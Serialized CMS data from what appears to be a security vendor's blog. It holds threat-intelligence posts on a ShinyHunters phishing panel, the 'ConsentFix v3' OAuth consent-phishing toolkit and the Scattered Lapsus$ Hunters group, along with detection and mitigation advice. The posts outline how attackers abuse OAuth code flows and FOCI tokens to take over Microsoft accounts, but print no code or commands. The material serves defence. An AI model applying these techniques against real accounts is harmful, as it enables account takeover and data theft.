IB1",{"sys":54591,"__typename":1740,"content":54592,"name":54615,"title":59},{"id":26288},{"json":54593},{"data":54594,"content":54595,"nodeType":856},{},[54596],{"data":54597,"content":54598,"nodeType":860},{},[54599,54603,54611],{"data":54600,"marks":54601,"value":54602,"nodeType":864},{},[],"Resulting breaches have already been publicly confirmed at SoundCloud (30 million records), Match Group (Hinge, OkCupid, and Match.com — over 10 million records), Betterment (20 million records), and Crunchbase, among others — all linked to ",{"data":54604,"content":54605,"nodeType":883},{"uri":6237},[54606],{"data":54607,"marks":54608,"value":54610,"nodeType":864},{},[54609],{"type":1455},"ShinyHunters-branded",{"data":54612,"marks":54613,"value":54614,"nodeType":864},{},[]," extortion demands. The group also claimed breaches at Bumble, CarMax, Panera Bread, Harvard, the University of Pennsylvania and others in the same period, using data stolen in the Salesforce breaches in 2025 to identify victims and make the social engineering more convincing.","Phishing Panel Blog IB5",{"sys":54617,"__typename":1740,"content":54618,"name":54629,"title":59},{"id":26312},{"json":54619},{"nodeType":856,"data":54620,"content":54621},{},[54622],{"nodeType":860,"data":54623,"content":54624},{},[54625],{"nodeType":864,"value":54626,"marks":54627,"data":54628},"Doko’s Panel, which takes its name from the Telegram alias of its developer, was linked to ShinyHunters attacks earlier this year. The same persona behind Doko's Panel has been observed actively recruiting \"experienced callers\" via Telegram, specifying requirements including fluent English with no accent, and advertising six-to-seven-figure weekly returns — evidence of the professionalized vishing-as-a-service model that complements the phishing kit ecosystem. ",[],{},"Phishing Panel Blog IB2",{"sys":54631,"__typename":1724,"title":54632,"caption":54632,"layoutMode":59,"file":54633},{"id":26459},"How the panel is operated during a phishing attack",{"url":54634,"width":54635,"height":54636},"https://images.ctfassets.net/y1cdw1ablpvd/37tinpxZjSb3LUOCdnVKge/b92c9911e992de27f6411f07b0c1e796/Screenshot_2026-05-07_at_12.33.21.png",3290,1902,{"sys":54638,"__typename":15710,"title":54639,"arcadeDemoUrl":54640,"playText":54641},{"id":26465},"Phishing Panel Annotated Demo","https://demo.arcade.software/dDjAyFfOHyGepDwLWJKw?embed","1 mins",{"sys":54643,"__typename":1740,"content":54644,"name":54685,"title":59},{"id":26477},{"json":54645},{"nodeType":856,"data":54646,"content":54647},{},[54648,54655],{"nodeType":860,"data":54649,"content":54650},{},[54651],{"nodeType":864,"value":54652,"marks":54653,"data":54654},"Functionally, this is the same as a typical AITM attack — except that the stages are performed manually by the attacker instead of automatically proxying the victim’s inputs to the real site. ",[],{},{"nodeType":860,"data":54656,"content":54657},{},[54658,54662,54668,54672,54681],{"nodeType":864,"value":54659,"marks":54660,"data":54661},"This seems like an odd choice. On one hand, this is a very sophisticated version of a voice phishing attack. But on the other, it’s not taking advantage of some of the standard capabilities that common AITM kits have. This more manual approach is something that ",[],{},{"nodeType":883,"data":54663,"content":54664},{"uri":6237},[54665],{"nodeType":864,"value":12023,"marks":54666,"data":54667},[],{},{"nodeType":864,"value":54669,"marks":54670,"data":54671}," were known for during the ",[],{},{"nodeType":883,"data":54673,"content":54675},{"uri":54674},"https://www.group-ib.com/blog/0ktapus/",[54676],{"nodeType":864,"value":54677,"marks":54678,"data":54680},"0ktapus",[54679],{"type":1455},{},{"nodeType":864,"value":54682,"marks":54683,"data":54684}," days. But it doesn’t make much difference to the outcome, or what we can observe to detect the attack in the browser.",[],{},"Phishing Panel Blog IB3",{"sys":54687,"__typename":1724,"title":54688,"caption":54688,"layoutMode":59,"file":54689},{"id":26575},"Anyone can access Doko’s Panel without authentication.",{"url":54690,"width":1736,"height":54691},"https://images.ctfassets.net/y1cdw1ablpvd/1E2c3tIITtYeiD5GtSecxt/91c95bb593188975b1a4a96effb5bea8/image5.png",307,{"sys":54693,"__typename":1724,"title":54694,"caption":54694,"layoutMode":59,"file":54695},{"id":26581},"Admin panel controls.",{"url":54696,"width":1736,"height":54697},"https://images.ctfassets.net/y1cdw1ablpvd/2A56uZUHEDmm8RbeW9IpjE/491e686b77dd60a676d0eebb3ca101c6/image2.png",1059,{"sys":54699,"__typename":1740,"content":54700,"name":54711,"title":59},{"id":26664},{"json":54701},{"data":54702,"content":54703,"nodeType":856},{},[54704],{"data":54705,"content":54706,"nodeType":860},{},[54707],{"data":54708,"marks":54709,"value":54710,"nodeType":864},{},[],"The result is that the victim's browser sends two pairs of duplicate requests every few seconds (with the inline script transmitting heartbeats in JSON format rather than HTML form-encoded data). This level of broken duplication indicates an inexperienced developer making modifications to unfamiliar code — a pattern reinforced by the LLM-generated artifacts discussed later. ","Phishing Panel Blog IB4",{"sys":54713,"__typename":1724,"title":54714,"caption":54714,"layoutMode":59,"file":54715},{"id":26747},"Revamped admin panel specifically targeting M365.",{"url":54716,"width":1736,"height":54717},"https://images.ctfassets.net/y1cdw1ablpvd/6ltgUv6FOGaMkdYNW06uBC/6449e82609fda96af123dfbd09c2f8c0/image8.png",940,{"sys":54719,"__typename":1724,"title":54720,"caption":54720,"layoutMode":59,"file":54721},{"id":26767},"Instructions for joining the attacker’s Teams meeting.",{"url":54722,"width":54723,"height":54724},"https://images.ctfassets.net/y1cdw1ablpvd/7G6GLi6twkTrDOGFHU9RNt/a1aa2a7a324ba3eda2f38d21af0e4a85/image3.png",1390,1316,{"sys":54726,"__typename":1724,"title":54727,"caption":54727,"layoutMode":59,"file":54728},{"id":26820},"Device and country restriction options.",{"url":54729,"width":54730,"height":1730},"https://images.ctfassets.net/y1cdw1ablpvd/2nxMJQlSeyBwuFgZIsjeRF/78df4d0e8c75a8171937294c1684b3df/image6.png",1064,{"sys":54732,"__typename":1724,"title":21245,"caption":21245,"layoutMode":59,"file":54733},{"id":7797},{"url":21247,"width":21248,"height":21249},{"sys":54735,"__typename":1724,"title":54736,"caption":54736,"layoutMode":59,"file":54737},{"id":26877},"More verbose phishing kit comments.",{"url":54738,"width":54739,"height":54740},"https://images.ctfassets.net/y1cdw1ablpvd/2VIaWB9ExM6nmURNtoP7f4/bc72afef6d151c7e9d5be71f0c74a651/Screenshot_2026-05-07_at_12.53.08.png",1184,1036,{"sys":54742,"__typename":1724,"title":54743,"caption":54743,"layoutMode":59,"file":54744},{"id":26890},"Evidence of LLM use in cloning the Okta login pages.",{"url":54745,"width":18260,"height":54746},"https://images.ctfassets.net/y1cdw1ablpvd/5UL0neYANY9ECegc0JsDzL/45a4576d016d9fa806598cabaf493a0f/Screenshot_2026-05-07_at_12.53.49.png",586,{"sys":54748,"__typename":1724,"title":54749,"caption":54749,"layoutMode":59,"file":54750},{"id":26903},"LLM comments not typically included by a human author.",{"url":54751,"width":54752,"height":54753},"https://images.ctfassets.net/y1cdw1ablpvd/6yXfx49paHKklV1iLfGiBP/6eb461b66533a9ef25eb671370c8f316/Screenshot_2026-05-07_at_12.54.09.png",942,430,{"items":54755},[],{},"Inside a phishing panel used by ShinyHunters and BlackFile",{"items":54759},[54760,55336,56295],{"__typename":2059,"sys":54761,"content":54763,"title":55322,"synopsis":55323,"hashTags":59,"publishedDate":55324,"slug":55325,"tagsCollection":55326,"authorsCollection":55332},{"id":54762},"27Z1JlNtpGTPyarh393sHK",{"json":54764},{"data":54765,"content":54766,"nodeType":856},{},[54767,54785,54792,54798,54805,54811,54830,54836,54842,54845,54853,54873,54879,54885,54891,54908,54915,54923,54930,54937,54944,54947,54955,54973,54996,55001,55006,55013,55020,55027,55030,55038,55056,55089,55096,55102,55105,55113,55120,55123,55130,55137,55145,55164,55184,55191,55197,55205,55212,55219,55222,55229,55236,55242,55259,55265,55272,55279,55286],{"data":54768,"content":54769,"nodeType":860},{},[54770,54774,54781],{"data":54771,"marks":54772,"value":54773,"nodeType":864},{},[],"In December 2025, we uncovered a state-sponsored campaign linked to Russian state-affiliated APT29 that used a new technique we called ",{"data":54775,"content":54776,"nodeType":883},{"uri":6036},[54777],{"data":54778,"marks":54779,"value":6041,"nodeType":864},{},[54780],{"type":1455},{"data":54782,"marks":54783,"value":54784,"nodeType":864},{},[],". This technique merged ClickFix-style social engineering with OAuth consent phishing to hijack Microsoft accounts. Effectively, ConsentFix is a browser-native attack that results in account takeover, without the downside of needing to touch the endpoint like typical ClickFix (really, the point that it's most likely to be detected and blocked). ",{"data":54786,"content":54787,"nodeType":860},{},[54788],{"data":54789,"marks":54790,"value":54791,"nodeType":864},{},[],"The quick 101 is that victims are tricked into copy-and-pasting a legitimate Microsoft URL into the phishing page. This URL contains an OAuth authorization code that the attacker uses to sign in to a first-party Microsoft application like Azure CLI — specifically targeting apps with known Conditional Access exclusions. ",{"data":54793,"content":54797,"nodeType":996},{"target":54794},{"sys":54795},{"id":54796,"type":1001,"linkType":1002},"7s4kF5CUFUmdkhpzuwNalX",[],{"data":54799,"content":54800,"nodeType":860},{},[54801],{"data":54802,"marks":54803,"value":54804,"nodeType":864},{},[],"At the end of the attack chain, the attacker is effectively granted API access to the victim's Entra account, while sidestepping MFA (even passkeys), device compliance checks, and in some cases conditional access controls (depending on the application ID targeted by the attacker). ",{"data":54806,"content":54810,"nodeType":996},{"target":54807},{"sys":54808},{"id":54809,"type":1001,"linkType":1002},"IMtJXMWeaIbRsWxuQ1CaS",[],{"data":54812,"content":54813,"nodeType":860},{},[54814,54818,54826],{"data":54815,"marks":54816,"value":54817,"nodeType":864},{},[],"It didn’t take long for security researchers to jump on this new technique. Lots of contributors rallied round the security recommendations (which we covered in a ",{"data":54819,"content":54820,"nodeType":883},{"uri":6063},[54821],{"data":54822,"marks":54823,"value":54825,"nodeType":864},{},[54824],{"type":1455},"follow-up blog post",{"data":54827,"marks":54828,"value":54829,"nodeType":864},{},[],") but the most notable contribution came from John Hammond, who took the attacker’s implementation and said “I can do better”. His v2 replaced a somewhat clunky implementation with a slick drag-and-drop function. But now, attackers have taken it one step further.",{"data":54831,"content":54835,"nodeType":996},{"target":54832},{"sys":54833},{"id":54834,"type":1001,"linkType":1002},"59tfJDRhGThKD48Wjg7uY2",[],{"data":54837,"content":54841,"nodeType":996},{"target":54838},{"sys":54839},{"id":54840,"type":1001,"linkType":1002},"6mEpyVD6f13ZttFmaBcxNm",[],{"data":54843,"content":54844,"nodeType":1005},{},[],{"data":54846,"content":54847,"nodeType":1009},{},[54848],{"data":54849,"marks":54850,"value":54852,"nodeType":864},{},[54851],{"type":899},"Introducing: ConsentFix v3",{"data":54854,"content":54855,"nodeType":860},{},[54856,54860,54869],{"data":54857,"marks":54858,"value":54859,"nodeType":864},{},[],"The latest development is that a member of the XSS criminal forum, a site strongly suspected to have ",{"data":54861,"content":54863,"nodeType":883},{"uri":54862},"https://flare.io/learn/resources/blog/state-of-the-dark-web-2026",[54864],{"data":54865,"marks":54866,"value":54868,"nodeType":864},{},[54867],{"type":1455},"Russian state involvement",{"data":54870,"marks":54871,"value":54872,"nodeType":864},{},[],", has released a new tool “ConsentFix v3”, building on the v1 we saw in the wild, and John’s v2. ",{"data":54874,"content":54878,"nodeType":996},{"target":54875},{"sys":54876},{"id":54877,"type":1001,"linkType":1002},"4AW0UnBlIaXbIFZjy8ObY1",[],{"data":54880,"content":54884,"nodeType":996},{"target":54881},{"sys":54882},{"id":54883,"type":1001,"linkType":1002},"1b36XjqBpPx7wteBu6OA6h",[],{"data":54886,"content":54890,"nodeType":996},{"target":54887},{"sys":54888},{"id":54889,"type":1001,"linkType":1002},"4kbiWA3b096BAFGQuozPaK",[],{"data":54892,"content":54893,"nodeType":860},{},[54894,54898,54904],{"data":54895,"marks":54896,"value":54897,"nodeType":864},{},[],"It looks like broader cybercriminals are starting to take note of ConsentFix, and with the release of public tools like this one, it could be about to go mainstream — like ",{"data":54899,"content":54900,"nodeType":883},{"uri":3259},[54901],{"data":54902,"marks":54903,"value":28273,"nodeType":864},{},[],{"data":54905,"marks":54906,"value":54907,"nodeType":864},{},[]," has this year. ",{"data":54909,"content":54910,"nodeType":860},{},[54911],{"data":54912,"marks":54913,"value":54914,"nodeType":864},{},[],"Let’s take a closer look at some of the more interesting details of the ConsentFix v3 implementation before considering the bigger picture.  ",{"data":54916,"content":54917,"nodeType":1312},{},[54918],{"data":54919,"marks":54920,"value":54922,"nodeType":864},{},[54921],{"type":899},"ConsentFix v3 under the hood",{"data":54924,"content":54925,"nodeType":860},{},[54926],{"data":54927,"marks":54928,"value":54929,"nodeType":864},{},[],"The first thing that jumps out is just how detailed this forum post is. It reads like a security vendor blog post. It walks through the key technical concepts that the reader needs to know, breaking down OAuth grants, consent phishing, refresh tokens, and FOCI (or 'Family of Client IDs' — basically, the feature that allows attackers to use a refresh token obtained for one Microsoft app to be exchanged for access tokens to other FOCI apps without re-authentication). It then walks through the history of ClickFix and ConsentFix before providing step-by-step guidance for users. ",{"data":54931,"content":54932,"nodeType":860},{},[54933],{"data":54934,"marks":54935,"value":54936,"nodeType":864},{},[],"ConsentFix v3 allows users to instrument the entire attack chain, enabling users to spin up ConsentFix infrastructure, create believable personas with which to interact with victims, craft and manage email campaigns, and automate the process of exchanging the captured OAuth token for session and refresh tokens to establish access to the compromised account. ",{"data":54938,"content":54939,"nodeType":860},{},[54940],{"data":54941,"marks":54942,"value":54943,"nodeType":864},{},[],"A combination of SaaS and open-source tools are used to perform the attack, including Cloudflare Workers for hosting, ZoomInfo for target identification, Dropbox for PDF hosting, and Pipedream as an exfiltration channel (effectively creating a webhook to automatically exchange the OAuth material in the URL for a refresh token). They also use hacker tools like SpecterPortal for post exploitation activity.",{"data":54945,"content":54946,"nodeType":1005},{},[],{"data":54948,"content":54949,"nodeType":1009},{},[54950],{"data":54951,"marks":54952,"value":54954,"nodeType":864},{},[54953],{"type":899},"Why attackers are turning to OAuth-based attacks",{"data":54956,"content":54957,"nodeType":860},{},[54958,54962,54969],{"data":54959,"marks":54960,"value":54961,"nodeType":864},{},[],"Attackers are increasingly turning to OAuth based techniques in 2026. Not only are “legit” OAuth connections being abused in supply chain attacks, but attacks targeting OAuth mechanisms have significantly increased with the rise of ",{"data":54963,"content":54964,"nodeType":883},{"uri":3259},[54965],{"data":54966,"marks":54967,"value":28273,"nodeType":864},{},[54968],{"type":1455},{"data":54970,"marks":54971,"value":54972,"nodeType":864},{},[],". This is because:",{"data":54974,"content":54975,"nodeType":941},{},[54976,54986],{"data":54977,"content":54978,"nodeType":945},{},[54979],{"data":54980,"content":54981,"nodeType":860},{},[54982],{"data":54983,"marks":54984,"value":54985,"nodeType":864},{},[],"OAuth attacks defeat standard access controls (including passkeys)",{"data":54987,"content":54988,"nodeType":945},{},[54989],{"data":54990,"content":54991,"nodeType":860},{},[54992],{"data":54993,"marks":54994,"value":54995,"nodeType":864},{},[],"It’s very low friction, and less likely that users will identify it as phishing (see examples below)",{"data":54997,"content":55000,"nodeType":996},{"target":54998},{"sys":54999},{"id":54834,"type":1001,"linkType":1002},[],{"data":55002,"content":55005,"nodeType":996},{"target":55003},{"sys":55004},{"id":6136,"type":1001,"linkType":1002},[],{"data":55007,"content":55008,"nodeType":860},{},[55009],{"data":55010,"marks":55011,"value":55012,"nodeType":864},{},[],"From the user’s perspective, these aren’t situations that users are trained to treat as suspicious. In one case, the victim copies a URL (or simply drag-and-drops a box on the page). In another, they enter a short passcode that’s visible on the page. ",{"data":55014,"content":55015,"nodeType":860},{},[55016],{"data":55017,"marks":55018,"value":55019,"nodeType":864},{},[],"Both are using pop-up windows that look very convincing — and point to legitimate Microsoft pages/URLs. Even users scrutinizing the domain won’t see anything out of place. And as you can see, if the user is already signed into their Microsoft account in the browser, there’s no credential entry or MFA checks to pass through. Simply select your account from the drop down menu and … that’s it.",{"data":55021,"content":55022,"nodeType":860},{},[55023],{"data":55024,"marks":55025,"value":55026,"nodeType":864},{},[],"This unfamiliarity is the same reason that attacks like ClickFix have been so successful. In general, convincing social engineering — well crafted comms, legit-looking pages hosted on trusted sites — combined with unfamiliar payloads makes for a clever attack. And when these attacks play out entirely in the browser (circumventing endpoint controls) and sidestep identity controls, the impact is dialled up even further. ",{"data":55028,"content":55029,"nodeType":1005},{},[],{"data":55031,"content":55032,"nodeType":1009},{},[55033],{"data":55034,"marks":55035,"value":55037,"nodeType":864},{},[55036],{"type":899},"How ConsentFix and device code phishing overlap",{"data":55039,"content":55040,"nodeType":860},{},[55041,55045,55052],{"data":55042,"marks":55043,"value":55044,"nodeType":864},{},[],"It was only ever going to be a matter of time before ConsentFix was adopted by the mass market. But these things don’t always happen particularly fast. ",{"data":55046,"content":55047,"nodeType":883},{"uri":3259},[55048],{"data":55049,"marks":55050,"value":360,"nodeType":864},{},[55051],{"type":1455},{"data":55053,"marks":55054,"value":55055,"nodeType":864},{},[]," is probably the best example of this — it’s been a known technique since 2021, but it took until this year to enter mainstream adoption. A big part of that has been the availability of criminal toolkits, and also the rise in AI-assisted capabilities for tool creation (clearly at play here too). The similarity with device code phishing doesn’t end there. ",{"data":55057,"content":55058,"nodeType":860},{},[55059,55063,55072,55076,55085],{"data":55060,"marks":55061,"value":55062,"nodeType":864},{},[],"Both ConsentFix and device code phishing are OAuth attacks. They both find ways of bypassing the standard login procedure (and controls) by targeting different authorization flows, but with a similar outcome and the same advantages to an attacker. Device code phishing exploits the device authorization grant (",{"data":55064,"content":55066,"nodeType":883},{"uri":55065},"https://datatracker.ietf.org/doc/html/rfc8628",[55067],{"data":55068,"marks":55069,"value":55071,"nodeType":864},{},[55070],{"type":1455},"RFC 8628",{"data":55073,"marks":55074,"value":55075,"nodeType":864},{},[],"). ConsentFix exploits the authorization code grant (",{"data":55077,"content":55079,"nodeType":883},{"uri":55078},"https://datatracker.ietf.org/doc/html/rfc6749#section-4.1",[55080],{"data":55081,"marks":55082,"value":55084,"nodeType":864},{},[55083],{"type":1455},"RFC 6749",{"data":55086,"marks":55087,"value":55088,"nodeType":864},{},[],") as implemented for native/desktop apps with localhost redirects. ",{"data":55090,"content":55091,"nodeType":860},{},[55092],{"data":55093,"marks":55094,"value":55095,"nodeType":864},{},[],"The post-compromise paths are essentially identical because the tokens you get are determined by which app you target, what scopes it has, and the victim user’s permissions, not by which OAuth flow you used to obtain them. The authorization code flow and the device code flow are just different front doors into the same token issuance system.",{"data":55097,"content":55101,"nodeType":996},{"target":55098},{"sys":55099},{"id":55100,"type":1001,"linkType":1002},"7np3j139dWMP7sLlUQwEFC",[],{"data":55103,"content":55104,"nodeType":1005},{},[],{"data":55106,"content":55107,"nodeType":1009},{},[55108],{"data":55109,"marks":55110,"value":55112,"nodeType":864},{},[55111],{"type":899},"The verdict: An interesting sign of what’s coming, but maybe not the final form",{"data":55114,"content":55115,"nodeType":860},{},[55116],{"data":55117,"marks":55118,"value":55119,"nodeType":864},{},[],"It’s clear that ConsentFix v3 isn’t exactly an industrialized PhaaS-scale offering. It’s probably closer to a red team-esque proof of concept. But it is a good example of how attackers could operationalize ConsentFix campaigns using largely off-the-shelf tooling and legit SaaS tools. And an indicator of what might be coming soon. ",{"data":55121,"content":55122,"nodeType":1005},{},[],{"data":55124,"content":55125,"nodeType":1009},{},[55126],{"data":55127,"marks":55128,"value":31416,"nodeType":864},{},[55129],{"type":899},{"data":55131,"content":55132,"nodeType":860},{},[55133],{"data":55134,"marks":55135,"value":55136,"nodeType":864},{},[],"To be able to tackle modern attacks like ConsentFix that occur entirely within the browser context, it is vital that organizations look to monitor the browser as a detection surface, hunt for signs of malicious activity, and block attacks in real-time — in the same way that you would expect EDR to work for endpoint attacks. We’ll talk about how we do this below, but first here’s some general recommendations. ",{"data":55138,"content":55139,"nodeType":1312},{},[55140],{"data":55141,"marks":55142,"value":55144,"nodeType":864},{},[55143],{"type":899},"Microsoft ecosystem",{"data":55146,"content":55147,"nodeType":860},{},[55148,55152,55160],{"data":55149,"marks":55150,"value":55151,"nodeType":864},{},[],"Despite the similarity with device code phishing, the ",{"data":55153,"content":55154,"nodeType":883},{"uri":31440},[55155],{"data":55156,"marks":55157,"value":55159,"nodeType":864},{},[55158],{"type":1455},"primary recommendation from Microsoft for device code attacks",{"data":55161,"marks":55162,"value":55163,"nodeType":864},{},[]," — disable the device code flow via conditional access — doesn’t apply to ConsentFix (because, as mentioned, it uses a different login flow).",{"data":55165,"content":55166,"nodeType":860},{},[55167,55171,55180],{"data":55168,"marks":55169,"value":55170,"nodeType":864},{},[],"For both ConsentFix and device code phishing, the ",{"data":55172,"content":55174,"nodeType":883},{"uri":55173},"https://msendpointmgr.com/2026/01/08/consentfix-quickfix/",[55175],{"data":55176,"marks":55177,"value":55179,"nodeType":864},{},[55178],{"type":1455},"strongest recommendation",{"data":55181,"marks":55182,"value":55183,"nodeType":864},{},[]," is to create Service Principals for each of the vulnerable apps and restrict the users that are authorized to access them to reduce the attack surface of users that can be phished with this method.",{"data":55185,"content":55186,"nodeType":860},{},[55187],{"data":55188,"marks":55189,"value":55190,"nodeType":864},{},[],"You should also hunt in logs for relevant application IDs and resource IDs, and look for mismatches in terms of the initial access IP and subsequent activity, because while the initial login is performed by the user, subsequent actions will be performed by the attacker.  ",{"data":55192,"content":55196,"nodeType":996},{"target":55193},{"sys":55194},{"id":55195,"type":1001,"linkType":1002},"49Y7NXpnAeAYe9fCp1oyKn",[],{"data":55198,"content":55199,"nodeType":1312},{},[55200],{"data":55201,"marks":55202,"value":55204,"nodeType":864},{},[55203],{"type":899},"Beyond Microsoft — Google, GitHub, Salesforce, AWS",{"data":55206,"content":55207,"nodeType":860},{},[55208],{"data":55209,"marks":55210,"value":55211,"nodeType":864},{},[],"It’s worth calling out that these recommendations are Microsoft specific. While in-the-wild exploitation has focused on Microsoft, GitHub, Salesforce, AWS and others are also impacted by device code phishing, supporting device code flow either as a primary or fallback mechanism (Google less so due to inherent restrictions on scopes authorized in the context of device code logins). ",{"data":55213,"content":55214,"nodeType":860},{},[55215],{"data":55216,"marks":55217,"value":55218,"nodeType":864},{},[],"Similarly, ConsentFix principles can be applied beyond Microsoft too. The core requirement is that an OAuth code ends up in a location the victim can manually see and share, e.g. a localhost redirect where no listener is present to complete the handshake. Google Cloud CLI, GitHub CLI, and others support the auth code grant and allow localhost as a redirect URI. ",{"data":55220,"content":55221,"nodeType":1005},{},[],{"data":55223,"content":55224,"nodeType":1009},{},[55225],{"data":55226,"marks":55227,"value":13350,"nodeType":864},{},[55228],{"type":899},{"data":55230,"content":55231,"nodeType":860},{},[55232],{"data":55233,"marks":55234,"value":55235,"nodeType":864},{},[],"We’re already detecting and blocking both ConsentFix and device code phishing attacks as they target users in their web browser. When a page matches our detections for a device code or ConsentFix phishing kit (not limited to things like known-bad IPs and domains, but DOM-level analysis of the web page) Push detects and blocks it. Unlike an SWG or RBI type solution, Push analyzes every web page in every browser session and tab, in real time, with no latency. ",{"data":55237,"content":55241,"nodeType":996},{"target":55238},{"sys":55239},{"id":55240,"type":1001,"linkType":1002},"63EwHbmFZVAlhoXl17Xjfi",[],{"data":55243,"content":55244,"nodeType":860},{},[55245,55248,55255],{"data":55246,"marks":55247,"value":31522,"nodeType":864},{},[],{"data":55249,"content":55250,"nodeType":883},{"uri":31525},[55251],{"data":55252,"marks":55253,"value":31531,"nodeType":864},{},[55254],{"type":1455},{"data":55256,"marks":55257,"value":55258,"nodeType":864},{},[]," whenever a user accesses a URL used for device code logins, across any app that supports them. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  ",{"data":55260,"content":55264,"nodeType":996},{"target":55261},{"sys":55262},{"id":55263,"type":1001,"linkType":1002},"3baS2yqvJd2e4aczw73PTF",[],{"data":55266,"content":55267,"nodeType":860},{},[55268],{"data":55269,"marks":55270,"value":55271,"nodeType":864},{},[],"When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing these pages if you’re confident that disruption won’t be caused. ",{"data":55273,"content":55274,"nodeType":1312},{},[55275],{"data":55276,"marks":55277,"value":3578,"nodeType":864},{},[55278],{"type":899},{"data":55280,"content":55281,"nodeType":860},{},[55282],{"data":55283,"marks":55284,"value":55285,"nodeType":864},{},[],"Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, device code phishing, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your attack surface.",{"data":55287,"content":55288,"nodeType":860},{},[55289,55292,55299,55302,55309,55312,55319],{"data":55290,"marks":55291,"value":31569,"nodeType":864},{},[],{"data":55293,"content":55294,"nodeType":883},{"uri":25603},[55295],{"data":55296,"marks":55297,"value":25609,"nodeType":864},{},[55298],{"type":1455},{"data":55300,"marks":55301,"value":3731,"nodeType":864},{},[],{"data":55303,"content":55304,"nodeType":883},{"uri":25615},[55305],{"data":55306,"marks":55307,"value":31587,"nodeType":864},{},[55308],{"type":1455},{"data":55310,"marks":55311,"value":25625,"nodeType":864},{},[],{"data":55313,"content":55314,"nodeType":883},{"uri":1700},[55315],{"data":55316,"marks":55317,"value":25633,"nodeType":864},{},[55318],{"type":1455},{"data":55320,"marks":55321,"value":2924,"nodeType":864},{},[],"ConsentFix v3: Analyzing a new criminal toolkit","Investigating a new criminal toolkit for ConsentFix being promoted on criminal forums. ","2026-04-23T00:00:00.000Z","consentfix-v3-analyzing-a-new-toolkit",{"items":55327},[55328,55330],{"sys":55329,"name":6593},{"id":6592},{"sys":55331,"name":342},{"id":6596},{"items":55333},[55334],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":55335},{"url":2740},{"__typename":2059,"sys":55337,"content":55339,"title":56281,"synopsis":56282,"hashTags":59,"publishedDate":56283,"slug":56284,"tagsCollection":56285,"authorsCollection":56291},{"id":55338},"2sFCww9xnI8okIxhtOaiY1",{"json":55340},{"data":55341,"content":55342,"nodeType":856},{},[55343,55350,55357,55364,55367,55375,55382,55389,55395,55402,55408,55427,55434,55446,55449,55457,55464,55480,55487,55499,55505,55508,55516,55524,55530,55539,55559,55568,55575,55584,55603,55612,55619,55628,55659,55668,55675,55684,55702,55708,55717,55724,55733,55774,55777,55785,55794,55814,55823,55830,55839,55872,55878,55887,55894,55900,55903,55910,55919,55926,55986,55992,55995,56002,56011,56018,56024,56027,56034,56041,56048,56115,56122,56185,56192,56195,56203,56210,56217,56223,56226,56233,56240,56247,56254],{"data":55344,"content":55345,"nodeType":860},{},[55346],{"data":55347,"marks":55348,"value":55349,"nodeType":864},{},[],"The biggest cybersecurity story this year (so far) has been the emergence of “Scattered Lapsus$ Hunters” and their record-breaking worldwide hacking spree. ",{"data":55351,"content":55352,"nodeType":860},{},[55353],{"data":55354,"marks":55355,"value":55356,"nodeType":864},{},[],"Scattered Lapsus$ Hunters is part of “The Com”, the name for the broad community of English-speaking cybercriminals with international criminal connections — including with nation-state sponsored groups. They are also known to collaborate with a range of cybercrime “as-a-Service” organizations for phishing, initial access, ransomware, and more. ",{"data":55358,"content":55359,"nodeType":860},{},[55360],{"data":55361,"marks":55362,"value":55363,"nodeType":864},{},[],"It’s difficult to pin down exactly who the individuals are that make up this criminal collective. But what is known is their MO — making money through extortion by means of account takeover, mass data theft, and ransomware deployment. ",{"data":55365,"content":55366,"nodeType":1005},{},[],{"data":55368,"content":55369,"nodeType":1009},{},[55370],{"data":55371,"marks":55372,"value":55374,"nodeType":864},{},[55373],{"type":899},"How did we get here? ",{"data":55376,"content":55377,"nodeType":860},{},[55378],{"data":55379,"marks":55380,"value":55381,"nodeType":864},{},[],"Earlier this year, the threat group known to most analysts as Scattered Spider (also tracked as 0ktapus, Octo Tempest, Scatter Swine, Muddled Libra, and UNC3944) re-emerged after a series of arrests in late 2024. ",{"data":55383,"content":55384,"nodeType":860},{},[55385],{"data":55386,"marks":55387,"value":55388,"nodeType":864},{},[],"This group has been active in peaks and troughs over the years, but are mainly known for high-profile ransomware attacks on Caesars and MGM Resorts in 2024. ",{"data":55390,"content":55394,"nodeType":996},{"target":55391},{"sys":55392},{"id":55393,"type":1001,"linkType":1002},"1Vt269d7n6IGMzOrJs1FDx",[],{"data":55396,"content":55397,"nodeType":860},{},[55398],{"data":55399,"marks":55400,"value":55401,"nodeType":864},{},[],"Scattered Spider hit the headlines again in April 2025 with attacks on UK retailers Marks & Spencer and Co-op, which resulted in significant, prolonged disruption, and a serious downstream impact on the retail supply chain. ",{"data":55403,"content":55407,"nodeType":996},{"target":55404},{"sys":55405},{"id":55406,"type":1001,"linkType":1002},"3kvcGV2zZZUPnM8IK04Y1O",[],{"data":55409,"content":55410,"nodeType":860},{},[55411,55415,55423],{"data":55412,"marks":55413,"value":55414,"nodeType":864},{},[],"It didn’t stop there, though. What followed was a wide-scale campaign targeting Salesforce customers, with the attackers claiming to have stolen ",{"data":55416,"content":55417,"nodeType":883},{"uri":34790},[55418],{"data":55419,"marks":55420,"value":55422,"nodeType":864},{},[55421],{"type":1455},"over 1.5 billion records from 1000+ companies",{"data":55424,"marks":55425,"value":55426,"nodeType":864},{},[]," across multiple verticals, including heavyweights like Google, Cloudflare, Workday, Adidas, FedEx, Disney, LVMH, and many more.",{"data":55428,"content":55429,"nodeType":860},{},[55430],{"data":55431,"marks":55432,"value":55433,"nodeType":864},{},[],"Around this time, the attackers began to refer to themselves as part of a wider collective, assuming the moniker “Scattered Lapsus$ Hunters” (a mash-up of names given by analysts and self-adopted by attackers — Scattered Spider, ShinyHunters, and Lapsus$).",{"data":55435,"content":55436,"nodeType":860},{},[55437,55441],{"data":55438,"marks":55439,"value":55440,"nodeType":864},{},[],"The most significant breach this year to-date impacted Jaguar Land Rover. A ransomware attack resulted in months of disruption that directly impacted the UK’s GDP, with the government underwriting a $1.5B loan to alleviate the supply chain impact. ",{"data":55442,"marks":55443,"value":55445,"nodeType":864},{},[55444],{"type":899},"In fact, this was the most economically consequential 